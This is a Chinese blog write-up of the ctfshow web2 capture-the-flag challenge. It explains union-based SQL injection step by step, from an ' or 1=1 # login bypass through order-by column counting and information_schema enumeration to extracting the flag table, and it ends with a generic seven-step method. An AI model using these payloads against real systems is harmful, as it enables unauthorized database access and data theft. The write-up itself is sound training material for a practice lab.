从ctfshow web2 题目梳理sql注入基本思路

 

 

 

 

 

题目是 “最简单的SQL注入” ,此题是最基础的SQL注入题目,后端针对前端传入参数不做任何过滤

首先看到传入后端的参数是“用户名”和“密码”,注入点基本可以肯定就是这两个位置。在判断是否存在注入点之前,我们可以构想下后端查询的sql结构,有利于接下来的思路拓展。

可以假设后端的查询语句是:

select <unknown> from table where username='' and password=''

现在我们可以确定的是:

后端提交的SQL查询包含“用户名”、“密码” 两个条件(我假设这两个条件的字段名是 "username"、"password")

我们不能确定的是:

1、后端SQL查询结果中的字段数量,我这里用"<unknown>" 占位

以图解释:

a b c d ...<unknown>
         

 

2、后端SQL查询结果中如果是多字段,哪些字段中的值会在前端回显?

以图解释:

a b(回显) c d(回显) ...<unknown>
         

 

3、后端SQL查询结果如果是多行,哪行的值会在前端回显?

以图解释:

a b(回显) c d(回显) ...<unknown>
         
  回显   回显  
         

4、SQL查询的这张表是在哪个数据库?表名是什么?表里有什么字段?

 

在找到注入点之后,我们要先解决的就是以上问题。

一、

现在先找注入点,结合之前构想的SQL语句,我们尝试"username" 这个条件能不能注入

尝试构建:

select <unknown> from table where username='admin' and 1=1 #' and password='asdasdasd'

体现在前端,即:

发现提交后无法登录。

 

尝试构建:

select <unknown> from table where username='admin' or 1=1 #' and password='asdasdasd'

  

 

 

 

 

 

 发现可以登录成功。

因此可以判断,”用户名“即尝试构建的SQL中的”username“字段是注入点。

 

 

 二、

接下来判断后端SQL查询出的字段数,用order by 指定以结果中的第几字段排序的方法来判断这个数量

尝试构建:

select <unknown> from table where username='admin' or 1=1 order by 3 #' and password='asdasdasd'

 

 

 

  

select <unknown> from table where username='admin' or 1=1 order by 4 #' and password='asdasdasd'

  

 

 

 

现在发现order by 4 的情况下会报错,即以查询结果的第四字段排序时报错,因此可以判断查询结果内包含3个字段。

现在后端查询SQL中的<unknown>字段数量已知,目前不知道这个三个字段的名称,所以先用a,b,c占位,新的查询语句为:

select a,b,c from table where username='' and password=''

  

三、

现在判断查询到的这三个字段中,哪些会回显到前端,可以通过union select 1,2,3 在查询结果中拼接标记数字的方式来判断。

尝试构建:

因union select 拼接的值默认在每个字段最底部,回显字段如果是多行的话,前端可能只回显字段第一行的值,因此需要利用 order by <第n字段> asc排下序,将拼接值排在每个字段的最上面

select a,b,c from table where username='admin' or 1=1 union (select 1,2,3) order by 1 asc #' and password='asdasdasd'

 

 

 

 

 

 我们将1,2,3三个数字分别拼接在了查询出的三个字段中,现在看到2回显在前端,因此可以判断后端SQL查询的三个字段中,只有b字段在前端回显。因此接下来就要利用这个能回显的字段爆出更多数据。

四、

接下来依然通过拼接的方式爆出这个表所在的数据库名称,这里使用内置的database()函数。

尝试构建:

select a,b,c from table where username='admin' or 1=1 union (select 1,database(),3) order by 1 asc #' and password='asdasdasd'

 

 

 

 

通过database()函数配合b字段的回显查询到数据库的名称为"web2"。

五、

接下来通过数据库的名称去查询数据库中存在的数据表,可以通过查询mysql内置information_schema库中的columns表得知。

 

 

 这里通过嵌套SQL的方式来注入查询:

注意,在嵌入的sql查询中要用 limit <起始行>,<偏移量> 限制查询出的行数,如果超过一行,会导致select 1,sql,3拼接失败。

可以通过修改 limit 起始行来遍历 table_name字段的所有值,如 limit 0,1 ;  limit 1,1  ;  limit 2,1

select a,b,c from table where username='admin' or 1=1 union (select 1,(select table_name from information_schema.columns where table_schema='web2' limit 0,1),3) order by 1 asc #' and password='asdasdasd'

limit 0,1 时查询出flag表

select a,b,c from table where username='admin' or 1=1 union (select 1,(select table_name from information_schema.columns where table_schema='web2' limit 1,1),3) order by 1 asc #' and password='asdasdasd'

 

 limit 1,1时查询出user表

接下来一直到 limit 3,1 都是user表,limit 4,1 无法显示,因此能判断web2数据库内有两张表flag和user

六、

接下来可以通过已知的数据库名,表名来查询表中的字段,同样通过information_schema库中的columns表来查询。

内嵌的查询依然需要limit限制字段行数,以及遍历字段值。

构建:

select a,b,c from table where username='admin' or 1=1 union (select 1,(select column_name from information_schema.columns where table_schema='web2' and table_name='user' limit 0,1),3) order by 1 asc #' and password='asdasdasd' 

先查询user表的字段。

以下是从limit 0,1到limit 2,1的结果截图:

 

 

 

 

可以确定user表有3个字段 id,username,password

 

接下来查询flag表中的字段。

构建:

select a,b,c from table where username='admin' or 1=1 union (select 1,(select column_name from information_schema.columns where table_schema='web2' and table_name='flag' limit 0,1),3) order by 1 asc #' and password='asdasdasd' 

只有limit 0,1能查询到数据,因此flag表内只有一个flag字段

七、

现在可以得知,后端的查询是在 web2数据库中,其中有两张表user和flag。

user表有3个字段 id,username,password。

flag表有一个字段flag

八、

通过以上信息构建嵌套查询,爆出flag即可:

select a,b,c from table where username='admin' or 1=1 union (select 1,(select flag from web2.flag  limit 0,1),3) order by 1 asc #' and password='asdasdasd'

 

九、

通过以上示例总结sql注入的通常思路:

1、先找注入点
2、判断查询出的字段数
3、判断哪些字段回显到前端
4、判断回显字段的哪一行回显到前端
5、用查出来的数据库名称作为条件来判断这个库里有哪些表,在mysql内置的information_schema库的columns表里面可以查到
6、用查出来的表名称作为条件来判断表里有哪些字段,同样在mysql内置的information_schema库的columns表里面可以查到
7、现在已经完全查出 数据库>表>字段的信息了,最终直接查表里想查的字段即可  

 

 

 

 

 

  

 

 

 

posted @ 2021-12-24 17:07  FengZhe  阅读(290)  评论(0编辑  收藏  举报